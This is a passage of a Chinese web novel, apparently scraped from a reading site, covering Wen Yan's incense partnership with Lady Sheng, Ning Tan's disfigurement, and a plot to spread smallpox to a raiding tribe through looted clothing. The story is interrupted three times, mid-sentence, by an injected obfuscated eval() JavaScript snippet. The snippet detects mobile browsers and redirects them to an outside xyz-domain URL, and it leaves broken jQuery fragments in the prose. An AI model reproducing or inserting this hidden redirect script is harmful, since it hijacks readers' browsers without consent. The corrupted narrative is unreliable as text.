再加上有季山长关门弟子的名头,让不少权贵世家凑着霍耀行而来。 霍耀行也借着季山长的名头,结交权贵,胁迫师兄弟为他所用。 最后因为他的行为太过出格,最后竟气**季山长。 霍耀行却踩着别人的尸骨,一步一步往上爬。 霍耀行确实有几分读书天赋,但在真正的天才祁云舟面前,还是显得拙劣不堪。 今生,闻颜绝不会让他再在科举路上有出头之日。 前世那些学识,他早就铭记于心,不可能抹杀得去。 那她就让他今生在科考路上,再无出头之日。 闻颜想着,便起身朝她的香室走去。 闻颜在‘清风小楼’设置了专门的调香室。 清风小楼、一点墨、天衣布庄现在的用香,都是闻颜调配的。 她拿出琢磨了好几个月的两张香方,系上围裙和面罩,正准备开始调制。 霜姨找了过来:“小姐,跟盛夫人碰面的时间已经定下了,就在三日后。” “知道了。”闻颜应着。 霜姨见也调的香方,好奇问道:“有两味香料不是一直没寻到吗?” “我已经找到代替品了,效果虽然差一些,但只要多用几次,效果也是一样的。” 霜姨点头应着。 闻颜又问:“霜姨,又打听到盛家的情况吗?” 霜姨往外看了看,这才小声地对闻颜道:“我派出去的人打听到,相府大公子,也就是盛夫人的夫君,最近大病一场,人险些没救回来。 相认的人口风紧,更多的内情就没打听到了。” “有这些消息足够了。”闻颜心中有了数,就继续调香。 ** 北境军营。 孟迟飞正在操练下属。 一个个五大三粗的男人,愣是被她训得泪流满面,苦着脸。 忽然,她听见营帐外传来一声哨响。 随后,一名哨兵匆匆跑来禀报:“孟校尉,大营百米之外,有一个人说有重要消息要告诉你。” “人带进来了吗?” “那人不肯进来,他说带来的信,只能孟校尉你亲自出去看。” 莫非,是送给有狼一族的大礼,起作用了。 孟迟飞把手里的偃月大刀扔给随扈:“盯着他们继续练,我出去看看。” 说完,她就跟着哨兵,快速出了大营。 到了大营门口,闻颜就不让哨兵跟着了。 哨兵担心道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617206|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方身份可疑,孟校尉您一人过去太危险了,还是让我跟你一起去吧。” 闻颜摇摇头,语气特别严肃的命令他:“你听我安排便是,不可擅自行动,否则等到来日,我定要好好操练你一顿。” 想到闻颜操练人时的魔鬼手段,哨兵就吓得一个激灵,再也不敢往里面走一步。 闻颜大步就朝等她的人靠近。 报信的人见她亲自出来,有些诚惶诚恐:“孟校尉,怎么是你来了?” 孟迟飞道:“我曾患过天花,我亲自过来最合适不过。” 报信人这才将一封书信递给闻颜。 闻颜一目十行地看完,脸上瞬间露出欣喜之色:“太好了。有狼一族劫去的衣裳,终于起效了!有狼一族有些人已经发病了。” 这便是闻颜和孟迟飞的计划。 每到冬季,有狼一族就会缺粮少物资。 每年边境的村庄或小城镇,都被他们劫掠。 烧杀抢掠无恶不作,若是有姑娘家,更是凄惨无比。 闻颜他们便利用这一特点,在那些物资里,掺入天花病的衣服首饰。 这么冷的天,抢去的东西定会迫不及待地穿戴,那样便会染上疫病,战斗力大打折扣。 孟迟飞再伺机而动。 报信人也跟着高兴:“太好了,总算起效了,也不枉我们白忙一场。” “疫病一起,他们那边的巫医治不了这些病,肯定会有人伪装成大庸百姓,来附近的城镇求医,一旦与我们的百姓接触,疫情就会迅速地传播开。 我们的百姓多,人口密集,恐怕会伏尸千里,饿殍遍野。” “我们得高度戒备起来。”孟迟飞最近学了不少治疫措施。 她立即回到军营门口,隔了二三十米跟门口的哨兵喊话,让他去将孟大将军和白夫人叫过来,她有事要交待。 孟大将军夫妻匆匆赶来。 白夫人下意识就要走向孟迟飞。 “娘,你别动,虽靠近我!”孟迟飞连忙制止了她。 “这是怎么了?” 孟迟飞简明扼要地把事情讲完。 白夫人急得直跺脚:“来的路上,你说要给有狼一族下套,你也没说套是这么大啊! 臭屁孩子,你要气死我啊!” 第366章:盛夫人来合作 其他几员副将却觉得痛快:“终于有机会收拾有狼一族了。 他们每年过来劫掠,不知杀了我们多少百姓。 老人、孩子、还有许多女人被他们抢了去,百般折磨。” “迟飞你忒不够意思了,干这么大的事,竟然不知道叫上我们一起。” “迟飞,你拿我们当外人。” …… 平日里不苟言笑的副将、指挥们,七嘴八舌的讨伐孟迟飞。 “天花致死率有三四成,这一次有狼一族不灭绝,也会损失惨重。 也算是给我们边境的百姓,争取了几年的缓息时间。” “要我说,我们就应该趁机痛打落水狗,把有狼一族灭了。 最起码也要把他们赶到西域去,再也不能回来,兴风作浪。” 孟将军摸了摸下巴,道:“倒也不必如此。 把有狼一族赶走了,也会有别的草原部落来占据这些地盘,用不了两年,新的部落就会崛起,同样会来骚扰我们。 不如把他们留着,让他们狗咬狗。” “当务之急,还是守住百姓,不让他们被传染要紧。”孟迟飞对他们孟大将军和白夫人道:“爹娘,你们把营里得过天花的兵士,都挑出来交给我,我会带着他们把守好外面的。” “那怎么行?天花极易传染,万一你也染上了……” “娘,我小时候得过天花,不会有事的。” “天花?你什么时候得的?我怎么都不知道?”白夫人一脸震惊。 孟迟飞认真想了想,才道:“大概是我七八岁的时候吧,边境有战事,爹娘和哥哥都在北境御敌,我留在京中,贪玩不小心染了天花,我身体棒着呢,大半个月时间就好了。 是我怕爹娘和哥哥担心,才没有跟你们说的。” 那时候,她病得受不了,哼哼唧唧的。 是桃姨娘整宿整宿的抱着她,唱童谣哄她睡觉。 白夫人听得心疼,自己没能陪在女儿身边,眼圈都红了。 她自责自己不是一个称职的母亲。 随后,他们就各自行动起来。 孟大将军去营中挑选得过天花的士兵。 白夫人和军医一起商讨消毒和设置隔离区的事。 还有人去请城里所有的大夫,来研究药方。 另外还要派几队人马,去周围的城镇村庄警示百姓,防着外来人,避免感染天花。 孟迟飞领到人,提醒白夫人:“娘,去我的营账里,床底下有一口木箱子。 里面装了许多医术,我从京城淘来的,专门针对天花,你拿给军医,说不定对这次的疫情有帮助。” 商量完正事,他们便各自去安排事务。 ** 几百里外的有狼一族的某个聚落。 距离他们发现第一例病情,已经过去了三四天时间。 经过悉心照料,第一个病人不仅没有好转,患病人数还在不断增加。 看着族人一个接一个倒下,全族的人都慌了。 他们往日采集的草药,煎来给病人吃了也不起作用。 直到第五日,第一个病人死去。 有狼一族的人这才慌了。 聚落的小头领,命令族人用柴火搭成烧尸台,把快死的族人放到上面。 泼上羊油,一点点火光就燃成熊熊大火。 小头领怀里靠着一个柔弱的姑娘,正在不断的抹着眼泪啜泣:“阿兄,我舍不得草婆婆。” 小头领温柔的拍着柔弱姑娘的背:“阿朵儿,你别伤心了。我们回去吧。 你的身体本来就不好,要是受寒生病我没法照顾你?” “阿兄,你放心吧,阿朵儿没事的。咳咳……”阿朵儿突然剧烈的咳嗽起来。 小头领的脸色顿时变得煞白:“阿朵儿,你怎么了?你没事吧?” 阿朵儿突然开始浑身寒颤,身上的肌肉也开始酸痛。 她突然捂着嘴:“哇……”的一声,就开始作呕。 中午吃进去的饭食都让她吐干净了。 小头领吓坏了,抱着阿朵儿手足无措。 阿朵儿虚弱的窝进小头领怀里:“阿兄,我的头好痛!我好冷…… 阿兄,我是不是也染上那种病了? 阿兄,我是不是也要**……” 阿朵儿说着说着,忽然就晕了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622805|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 小头领抱着阿朵儿,惊慌失措的往自家的帐篷跑。 ** 转眼就到了和盛夫人约好的日子。 闻颜窝在调香室里,没一会儿,侍女就来通知,盛夫人到了。 闻颜拿出一盒刚调好的香粉,来到接待盛夫人的园子里。 “盛夫人!让你久等了。” 闻颜进门,就看见端坐在窗前的盛夫人。 “柳东家。”盛夫人起身迎接她。 闻颜将香盒递到盛夫人面前:“盛夫人介意我燃香吗?” 盛夫人打开盒盖,闻了闻:“很清幽的香气,客随主便,就劳烦柳东家了。” 闻颜开始压灰、篆模、燃香。 盛夫人就静静地看着,见她手法行云流水,看着很是赏心悦目:“没想到时隔多年,还有机会看见你品香,你的品香手法更胜一筹。” 闻颜惊讶地看向盛夫人:“我们以前见过吗?” 盛夫人笑道:“几年前,在礼部尚书家的宴席上,你跟祝家小姐斗过香。” 闻颜使劲回忆,也没想起盛夫人所说的事,只好笑了笑。 将闻香炉推到盛夫人面前。 盛夫人煽烟轻嗅,眼神瞬间亮了起来:“燃香比香粉的味道更清幽,我很喜欢这个味道。 ‘清风小楼’的香,皆出自你手?” “我平时无聊,调着玩的。盛夫人若是喜欢,剩下的就拿回家燃着玩吧。” “那我就却之不恭了。”盛夫人收下东西。 两人客套寒暄一圈,这才转入正题。 “盛夫人想买那幅画,我可能要说一句抱歉了。” “为何?那幅画我很喜欢,柳东家不舍得卖吗,价格你可以随意开的。” 闻颜摇摇头,道:“那幅画挺寻常的,放在平时我送人也没关系。但那幅画是我夫君亲自为我装裱的,他也很喜欢,所以我不想卖。” “当然,除了那幅画,盛夫人有别的需求,可以尽管提的。” “有你这句话,那我就不客气了。”盛夫人笑着道,“我想跟柳东家合作制香生意。” 原来,这才是盛夫人的目的。 第367章:姐妹情宜 闻颜表示惊讶:“制香生意?” 她看向自己刚送出去的香粉:“您这是临时起意?” “当然不是。我方才就说过,很早的时候,我就看出你有制香天赋,而我外祖家,刚好是做香料生意的。 市面上能说出名字的,不能说出名字的香料,我都能找到。” “既然是大香料商,还会缺调香师?恐怕大庸最厉害的调香师,都在他们手里吧。” “没错。我外祖家确实有大庸最厉害的调香师,只要我开口,他们也会给我人。 但是,拿人始终手短,仰人鼻息哪有合作共赢来得强?” “盛夫人倒是坦诚。” “合作嘛,贵在诚信,若是连这都做不到,我们的生意也会做不长久的。 柳东家的经商才能有目共睹,不管是‘一点墨’还是‘清风小楼’都是一泡而红,经久不衰。 跟你合作,我稳赚不赔。 你说,放着这么好的合作伙伴不要,我为什么要手心朝上,向别人讨要呢? 当然,还有更重要的一点。 而且,以你的本事,我赚的,只多不少。” 闻颜这才收起玩笑之意:“盛夫人当真要跟我合作?!” “我表现得还不够明显吗?”盛夫人有些无奈地饮了一口茶。 闻颜眉目舒展,也拿出真诚的态度:“我手上确实有一些自己捣鼓的香方,跟你合作也确实让人心动。 只是……与我合作的首要条件,便是孟家也要参与其中。” 盛夫人没有一口拒绝,做了个请的手势:“请详说。” 闻颜道:“盛夫人调查过我,应该知道,我的生意能做到,都是沾了孟家的光,不然我早就被一些贪心觊觎之人给做了。 所以,你跟我合作,孟家也要参与。并且分成必须是我们六,你一个人四。” “我出原材料,你出香方,孟家做保护伞,我们各司其职,我独占四成,说起来还是我赚了。”盛夫人毫不犹豫就答应了闻颜的要求。 她苦笑一声:“你应该调查过我家的情况。 自我丈夫失去双腿,无缘仕途之后,我们大房就成为废棋。 什么好东西,但凡过了他们的眼,都会被各种理由瓜分。 我想要丈夫儿女过得好,只能向外找靠山。 我之所以早上,很大一部分原因,正是因为孟家的存在。 相府那些人,再大的狗蛋,也不敢把手伸去孟家。” 朝堂上,文臣武将本就对立。 相府但凡敢朝孟家伸手,不用等到第二天,当**帝的御案上,就会堆上许多参奏他的奏折。 该说的都说了,闻颜也不拐弯抹角了,直接答复盛夫人道:“我有意向跟你合作,但我必须经过孟家的同意,所以,我要过几天才能给你答复。” “这是应当的。”盛夫人起身告辞。 闻颜亲自送她到门外,直到她的马车驶远,闻颜才回家。 这时,霜姨来报:“有个自称是宁家的丫鬟,说是要见你。 我已经将人领去会客厅了。” “宁家?多半是宁叹了。我去见见。”闻颜提起裙摆,就大步朝会客厅而去。 盛夫人一路回到盛家。 刚回到自己的小院。 “夫人出去奔波,辛苦了。先喝口茶润润嗓子。”她的夫君便操控着轮椅,来到桌边给她倒茶水。 盛夫人将茶水一口饮尽,便开心地道:“这次合作,**不离十能成。” “柳闻颜没察觉出我们的意图吧!”相府大爷有些担忧地道。 “应该不曾察觉。不过察觉了也无事,因为我说过,我图的就是孟家的势力。” “如此一来,他们倒也分不大清真伪。” “夫人,辛苦你了,为这个家奔波劳碌。”相府大爷握着盛夫人的手,满是不忍。 “夫妻一体,以前你让我荣耀风光也不是假的。” “你确定,闻颜跟那位走得近?” “当然确定。孟希延回京之时,我在人群里看得清清楚楚,闻颜和那位眼神交换得很频繁。” 盛夫人道:“这是我们能为孩子博来的最后机会了。 这五年来我们一再退让,他们不知收敛反而得寸进尺。 我可以忍,我也可以吃苦,但是,牵连到我的孩子绝对不行。” 闻颜家里。 ** 闻颜来到待客的暖阁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622806|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就见一个丫鬟站在屋内。 闻颜走进去:“你就是宁叹的人?” “是的,柳小姐。”丫鬟说完,便将一只锦盒递给闻颜,“这是我家小姐让我交给您的。” “你家小姐最近怎么样了?她还好吗?”闻颜一边问,一边接过盒子打开。 盒子里是一只羊脂白玉手镯,成色极好,一看就价值不菲。 丫鬟回话道:“小姐已经回家了,夫人和小姐也已经做好准备,要去京兆府状告钱家**。” “当真!”闻颜没想到宁家能有这样的魄力。 丫鬟点头:“当然是真的。我们夫人很疼我家大小姐的。 夫人已经发话了,如果宁家阻止,她就跟老爷和离,自己带着小姐出来打官司。” 闻颜没想到,宁叹母亲能做到这份上。 前世她看到宁叹的惨样,不知要悲痛欲绝成什么样子。 “希望你们小姐能早日脱离苦海。”闻颜把玉镯盒子盖好,还给丫鬟:“这只镯子太名贵了,帮我还给你家小姐。” 丫鬟连忙后退两步躲开:“柳小姐,我家大小姐让我帮她传句话。” 丫鬟捏着嗓子清了清,便学着宁叹的说话语气,温柔的道:“颜颜妹妹,在我心里早就把你当成亲姐妹了。 这次本该我亲自登门,怎奈俗务缠身,只能让丫鬟代为走一趟。 这只手镯是我对你情谊的见证,你若是不收,是不是还拿我当外人?” 宁叹都已经把话说到这个份上了,闻颜要是再拒绝就不近人情了。 况且,宁叹说不定会是未来的大嫂,提前搞好关系,有利无害。 “那这只镯子我就收下了。”闻颜拿出手镯,戴在了自己的手腕上。 “这是我的回礼。”闻颜拔下头上的银簪,递给丫鬟,“烦请你回去告诉宁叹姐姐,有用得上我的地方,只管来找我。” “是。”丫鬟应了一声,就告退了。 闻颜想了想,又打包了一些‘清风小楼’的点心和最近调出的香料,让她带回去给宁叹。 丫鬟走后。 闻颜稍想了想,就去了孟家找孟希延。 结果闻颜扑了个空,孟希延剿匪未归。 第368章:男大不中留 几日时间,倏忽而过。 闻颜忙了一天,早早睡下。 笃笃笃—— 三声有节奏的敲门声传来。 闻颜睡得迷迷糊糊,坐起来问道:“谁啊?” “是我。” “希延大哥!” 闻颜连忙起床,打开窗户:“进来吧,外面冷,里面暖和些。” 孟希延转身背对着她,轻咳着提醒:“深更半夜,我不好进女子闺房。” 闻颜懊恼的一拍脑袋:“瞧我这记性。等会儿,我去披件衣裳。” 一盏茶功夫过后。 “虽然咱们要避嫌,倒也不必光明正大到这个地步吧!”闻颜欲哭无泪。 刚才她刚穿好衣裳,孟希延就揪着她的衣裳,将她提溜到了房顶之上。 “阿嚏……这里风太大了,真的很冷,我们换个地方说吧。”闻颜感觉自己的鼻尖都快冻掉了。 “为了避免不必要的误会,我们还是就在这里说吧。”孟希延把闻颜斗篷的帽子戴上,好歹能遮挡一些风雪。 闻颜捏紧了拳头。 宁家的事情还没了解,孟希延就守起男德了! 算了,跟恋爱脑男人没什么好说的,还是先聊正事吧。 闻颜就跟他说起,和盛夫人合作开香料铺子的事。 孟希延道:“你觉得合适就开啊,孟家既没出钱,就不拿分红了。” “谁说你们没出力了。 我在外面的威望你还不清楚吗? 若是没有孟家参与,那些人怎么可能安分。 他们早就像饿狼一样扑上来,啃骨头渣子都不剩。” 闻颜笑嘻嘻,想像大哥大一样拍拍孟希延的肩膀,忽然想起他在守男德,小爪子硬生生僵在半空,对着空气虚拍了几下。 “再说了,你可是马上要成婚的人,难道就不给自己攒点嫁妆吗?不然以后让你媳妇跟着你吃苦吗?” 想到家里被掏空的库房,孟希延瞬间就迟疑了。 宁叹那么娇弱的一个女子,就该金尊玉贵的养着,而不是跟着自己吃苦。 他当即就答应下来:“生意上的事,你就回去找外管家商量。” “好勒!大佬霸气,大佬威武。”闻颜马屁不要钱假的拍。 孟希延被她哄得嘴角难压。 随后,闻颜又同他说起宁叹家的事。 “宁家母女已经决定好了,若是与钱家协商不成,他们就会去京兆府报案,你这段时间多盯着一点。” 孟希延却露出为难神情。 “怎么了大哥?”闻颜直接问这里面有因由。 孟希延想了想,还是如实以告:“晋阳府庶务繁忙,这次能回来过年,都是因为皇帝圣明。待雪停后,我就要立即启程回晋阳府去。 宁家那边,我恐怕无法亲力亲为。” 孟希延面上不显,心里却很是着急。 他已经在心里计划,不如先辞了晋阳知府的位置。 有了五年前的前车之鉴,孟希延现在根本不想远离她。 他害怕离她太远,会再次失去她。 闻颜却没他着急。 这场大雪,要正月下旬才会停。 孟希延一时半会儿走不了的。 “反正,你还在京城一日,就多盯一日呗,你去晋阳府上任之后,我会替你照顾好宁叹姐姐的。” 闻颜看着孟希延偷笑:“原来咱们威名赫赫的孟小将军,动情之后竟是这副模样。啧啧啧,果然是男大不中留啊!” 在闻颜的揶揄之下,孟希延的脸颊变得滚烫。 孟希延:“……” 闻颜真是胆肥了,连自己都敢揶揄了。 好在现在深更半夜,黑灯瞎火,闻颜的视力也不好,发现不了他的窘迫样子。 若是传出去,他的面子往哪儿搁! 孟希延道:“就算和孟家脱离关系,我也不能立即上宁家提亲。 等过个半个来月,我再找理由回来一趟。” 私下见一见宁叹。 只要她不抗拒,他就请皇帝陛下,给他们二人赐婚。 孟希延把一切都计算好了。 闻颜见他有了成算,便不再多问。 斗转星移,时间如白驹过隙。 京城之中的学子越来越多。 配合着闻颜的售卖计划,‘一点墨’的生意也越来越好。 铺子里的客人络绎不绝。 大雪在上元节前后变成小雪。 到了正月下旬,风雪彻底停了。 这段时间闻颜忙到飞起。 既要为新开的香铺做准备,又要盯着‘一点墨’新的折卖生意,还要时不时地过问羊毛布衣和皮裘的售卖情况。 闻颜忙得脚不沾地,孟希延也到了离京赴任的时间。 闻颜早早起床,先去‘一点墨’巡查,再去城门口给孟希延送行。 闻颜进到店里,见店里少了许多客人,她忍不住问苏合:“人怎么少了这么多?” 苏合小声对闻颜道:“最近城里多了许多学子,咱们店又推出了折卖活动,客人络绎不绝。 那些来蹭暖气的人,不想影响我们做生意,所以白天都不来了,只有晚上才来蹭暖气睡觉。” “他们也算有心了。”闻颜笑笑。 “店里情况怎么样?有没有麻烦需要我解决的?”闻颜瞧了瞧店里的客人,清一色的书生打扮,而且基本都是生面孔。 应该都是外地来赶考的举子。 ‘一点墨’名声大,东西物美价廉。 店里有充足的暖气,还提供热水,到了饭点还会提供一些窝头,饼子。 来店里的客人都很守秩序,从不大声喧哗。 读书人都很喜欢来这里。 “这家店确实很特别。与其说这里是店铺,不如说这里更像一间私人书楼。 不过,铺子太小了些。” 闻颜的身后突然传来一道男声。 他说话的音量并不掩饰,在安静的店铺里显得格外突兀。 闻颜没忍住回头看去,就见是一位穿着青色长衫的男子,转着一把折扇,正跟朋友点评着她的店铺。 闻颜看得眉头轻挑。 他那一身衣裳看似普通,实则是由贡缎制成,上面的云纹是今年最新的纹样,普通的权贵人家都拿不到货。 他却能制成常服穿戴,可见他的家底不仅仅是普通的富贵权势。 必定是京城大半权贵都望之不及的存在。 他们这种人,是看不上这样简陋单调的店铺,应该很快就会离开。 “有事找我,我先去送大哥了。”闻颜朝苏合摆摆手,把散落的碎发别到耳后,就准备离开。 忽地,一把折扇伸了过来,轻佻地挑起闻颜的手腕。 第369章:小东西,找到你了 折扇突然挑起闻颜的手腕,随着衣袖滑落,露出她纤细的手腕。 那手腕上戴着一只白玉镯子,衬得她的肌肤胜雪娇嫩。 男人的目光,落在那只手镯上。 “你……” 大冬天的拿一把折扇,这可真够装的。 闻颜反手拍开折扇:“公子,请自重。” 男人看着闻颜,挑了挑眉:“你的火气倒是不小。” 他脸上明明带着温和的笑容,但是举手投足间的上位者的傲慢,却怎么都藏不住。 “任谁遇上轻浮之人,也保持不了好脾气。”闻颜瞪向他,眼神里带着怒意。 闻颜问苏合:“知道这人底细吗?” 苏合小声回道:“他叫谢琮弈,是沧州人,据说他出自门名世家,学识出众,是他们东南府路的解元。” 难怪连他的头发丝里都透露出傲气。 这个小冲突,使得店里好些客人,都朝这边看过来。 也有读书人替闻颜出头:“这位公子,你的行为对女子来说,确实越矩了。” 谢琮弈看了读书人一眼,又见店里有小半数的人对他眼神不善,他忽然‘扑哧’一声笑了出来:“我想诸位是误会我了,我无意冒犯。家中小……” 他用折扇指了指闻颜手腕,硬生生将小妾换成小妹,接着道,“小妹很是喜欢白玉器物,我刚才惊鸿一瞥,见你腕上的白玉手镯很是漂亮,便想询问你在何处购得,而你要走,我情急之下才失了分寸,还望小姐你原谅我的失礼之举。” 分明他的全身上下都写着天龙人的居傲,却偏偏表现得一副知书达理,礼贤下士的态度。 这样会做表面功夫的人,闻颜前世见得多了,一眼识破,觉得虚伪做作又恶心。 旁人却是看不出来的。 刚才对他的恶意,都变成了歉意。 谢琮弈看向闻颜,俊秀的脸庞上皮肉牵动,笑容越发谦和:“是在下唐突了,在这里向小姐赔礼了。”说着,他拿出一个十两的银锭子,放在柜台上。 “你这是什么意思?” “再多道歉的话,都显得虚妄,这十两银子,就当是我的赔礼。” 闻颜再揪着不放,就显得她心胸狭隘了:“情急之下的行为,倒也情有可原。既是无心之失,这次就不追究了。 不过这位公子还要改一改,着急就动手的毛病。 否则遇上会功夫之人,可能就要断胳膊腿断了。” “这些银子就多谢了。”闻颜拿起银子,递给苏合,“拿它去买些肉包子,中午分给大伙儿吃。” “好的,小姐。”苏合欢快应着,对其他客人道:“大家中午都别走,听者有份哦!” 其他客人也跟着欢呼,直呼:“柳老板大气!” 谢琮弈眉头抽搐,她还真是:拿他的银子,行她的善。 还真是心机深沉的女子。 男子眉头猛地抽抽一下,挤出笑:“那么,姑娘能告诉我了吗?你的这只镯子,从何处购得?” 这只白玉镯子,正是宁叹送给自己那只。 闻颜美眸流转,笑着说道:“说来也是巧,半月前我路过悬若寺,帮了一行人的小忙,他们送我的。” “这只镯子价值不菲,想必不是会一个小忙吧。”男子眉目舒朗,眼神里的审视都快藏不住了。 闻颜装傻:“也许吧。所以,你要问镯子的出处,我也不知道。” 闻颜朝众人点了点头,“我还有事要忙,就先行告辞了。” “小姐,我出去订包子,我们一起走。”苏合转头对一位常客书生道,“你帮我盯着店铺,我去去就回。” 苏合追着闻颜跑开了。 谢琮弈凤眸微眯,也跟了上去。 闻颜离开‘一点墨’后,就径直来到北城门口。 她进了临街的一间茶楼,跟店小二报了一个雅间名,她就被领进了二楼的雅间里。 她刚进了雅间,就见一位戴着帷帽的女子站在窗边。 听见开门声,女子回过身来,亲切的唤了一声:“颜颜妹妹,你可算来了,我可等你好一会儿了。” “宁叹姐姐。”闻颜小跑过去,与她手牵着手。 谢琮弈跟到雅间门外,听见的便是闻颜喊的这一声:“宁叹姐姐。” 谢琮弈嘴角上翘,牵扯出一抹志在必得的笑容:“小东西,终于让我找到你了!你可真会藏啊,原来是逃回京城了。” 他朝身边的小厮使了个眼色。 小厮转身就推开了旁边雅间的门。 “哎,别……”店小二见状,连忙上前阻止:“这个雅间已经被人……” 他的话还没说完,门就被小厮推开了。 雅间里的客人吓了一跳,站起来喝斥道:“你们谁啊,这是我的雅间,谁让你们进来的,掌柜的,掌柜的……” 那人扯着嗓子大喊。 小厮拿出一张银票,扔在那人脸上:“别喊了,拿着银票快滚。” 那人展开银票,看见上面的数字,顿时双眼圆睁。 没有一秒钟犹豫,他就领着自己的人,快速离开了雅间。 谢琮弈抬步走进雅间,小厮吩咐店小二:“去准备一壶上好的泉水过来。” 店小二在京城这种地方,什么样式的纨绔没见过。 些二人虽然面生,但他们嚣张高傲的态度,就说明他的家世不简单。 恐怕连京城中的普通权贵都不放在眼中。 店小二连连应着,小跑着去准备了。 隔壁闻颜的雅间。 闻颜看着拉着宁叹的手坐下,亲亲热热地说了好一会儿话。 她们才说起正事。 闻颜问道:“宁叹姐姐,你跟钱家的事情怎么样了?” “已经私下解决好了。两家已经签了退婚文书,也拿出了婚事。 从此以后,我就跟钱家就再无关系了。” “那就太好了!”闻颜喜不自胜,但她又好奇道,“那位二夫人能想到买凶杀人,可见心思其毒辣。钱家那么算计,他们不会轻易松手,你一定传出了很大的代价吧!” “钱家起初自然是不愿意的。”想到那次谈判,宁叹就不由自主的摸向自己的脸颊。 但她刚碰到帷帽的纱缦,就强迫自己停了下来。 一股愤怒和恨意,在她胸臆间蔓延。 第370章:宁叹伤脸自绝 宁叹平复心情,绞着手里的帕子:“买凶杀人,就是一个巨大的把柄。 把我放走,就想当于放虎归山,他们可能放我走。 他们只想把我绑在一条船上,一荣俱荣,一损俱损。” “那后来是怎么解决的?”闻颜好奇追问。 宁叹左右瞄了瞄,才伏在闻颜耳边低声说道:“他们想先毁尸灭迹,再用婚书和钱……他的死拿捏我,让我愧疚。多亏了孟大哥神机妙算,不仅没让他们得手,还把福王也牵扯进去了。 福王是京城有名的八卦头子。 他不仅爱听,还爱到处传。 但凡什么消息进了他的嘴巴里,不用两个时辰就会宣扬得满城皆知。 便是京城里专门靠传播八卦为生的婆子,都赶不上他的十分之一。 因为他的身份地位高,旁人还不敢去追责。 孟希延这一招,简直就是釜底抽薪。 钱家怎敢跟福王叫板,而且我们一家又抱着鱼死网破的态度,钱家怕把事情闹大,就只得同意退婚了。” 闻颜炫耀地道:“怎么样,孟大哥还不错吧!” 宁叹由衷夸赞道:“他真的是一个顶顶好的人。” 闻颜心里咯噔一下。 难不成孟希延的妻子还没追,就要要被发好人卡了? 两人说完悄悄话,闻颜就从挎包里拿出一只锦盒:“送给宁叹姐姐的。” “是什么啊!”宁叹好奇的打开。 发现里面,放着一条粉色珍珠串的项链。 项链是由三股米珠绞在一起,看着简约大气。 宁叹立即将盒子推还给闻颜:“不行,这太贵重了,我不能要。” 闻颜撩起衣袖,露出手腕上的白玉镯子:“那你送我的这个就不贵重了吗?” “可你已经给我一只簪子了。” “那支银簪只是我的信物,怎能比得上我们的情宜。这条项链是我特地为你准备的,你若是不要,是不把我当姐妹了吗?” 宁叹扑哧一声笑出来:“你倒是记性好,把我当初说过的话,一字不差的还给我。” “要不咱们如何做姐妹呢?!”闻颜笑眯眯的拿出项链,“我帮姐姐戴上吧。” 闻颜拿出项链,准备给宁叹戴上。 闻颜撅了撅嘴,好奇问道:“宁叹姐姐,你怎么一起戴着帷帽? 门窗都已经关起来了,而且你跟钱家已经没有关系了,现在露面应该没问题吧。 我帮你把帷帽取下来吧。” 闻颜征求她的意思。 这件事早晚要让闻颜知道。 宁叹犹豫了一下,还是点了点头。 闻颜解开帷帽的系带,拿下帷帽,露出宁叹的脸。 闻颜倒吸一口气:“宁叹姐姐,你的脸……” 宁叹笑着道:“是不是很恐怖,没吓着你吧!” 只见宁叹的左右脸颊,各有一道伤疤。 从颧骨一起蔓延到嘴角。 伤痕蜿蜒扭曲,张牙舞爪,冒着腥红的肉芽,看上去,就像是两条蚯蚓趴在她脸上。 “宁叹姐姐,你的脸宣传单是怎么回事?” 宁叹摸了摸脸颊,脑中不由回忆起毁容当天的事。 宁叹的爷爷、大伯、还有爹娘兄长,一起带着她去了钱家。 “谢大公子是真的喜欢宁叹,宁叹嫁过去,虽是做妾,但只要把谢大公子侍候好了,她的日子只会比正妻还舒服。 况且谢家家大业大,是传承了千年的名门望族,势力错综复杂。 你们宁家攀上谢家,也算是鸡犬升天了。宁家的百年清流,一跃成为千年门阀的分枝,那可是别人削尖脑袋,都谋求不来的。” “流水的皇帝,铁打的世家。 宁叹啊,听婶婶一句劝,只要你们紧紧抓住谢家这棵大树,你的兄长和弟弟,在仕途上就会平步青云。 原本需要努力一辈子才能达到的高度,在谢家的帮助之下,三五年就能做到。 宁叹,你现在抗拒谢大公子,那是因为你没见过他。 谢大公子英俊潇洒,温文尔雅,他对你一见钟情,喜欢你三四年都没放弃,可见对你用情之深。 天下男人虽多,但是像谢大公子这么深情的,也是凤毛麟角。 你千万不要因为一时意气,就毁了一生的幸福。 况且,你也不能因为一己之私,就不为你的兄弟们考虑吧! 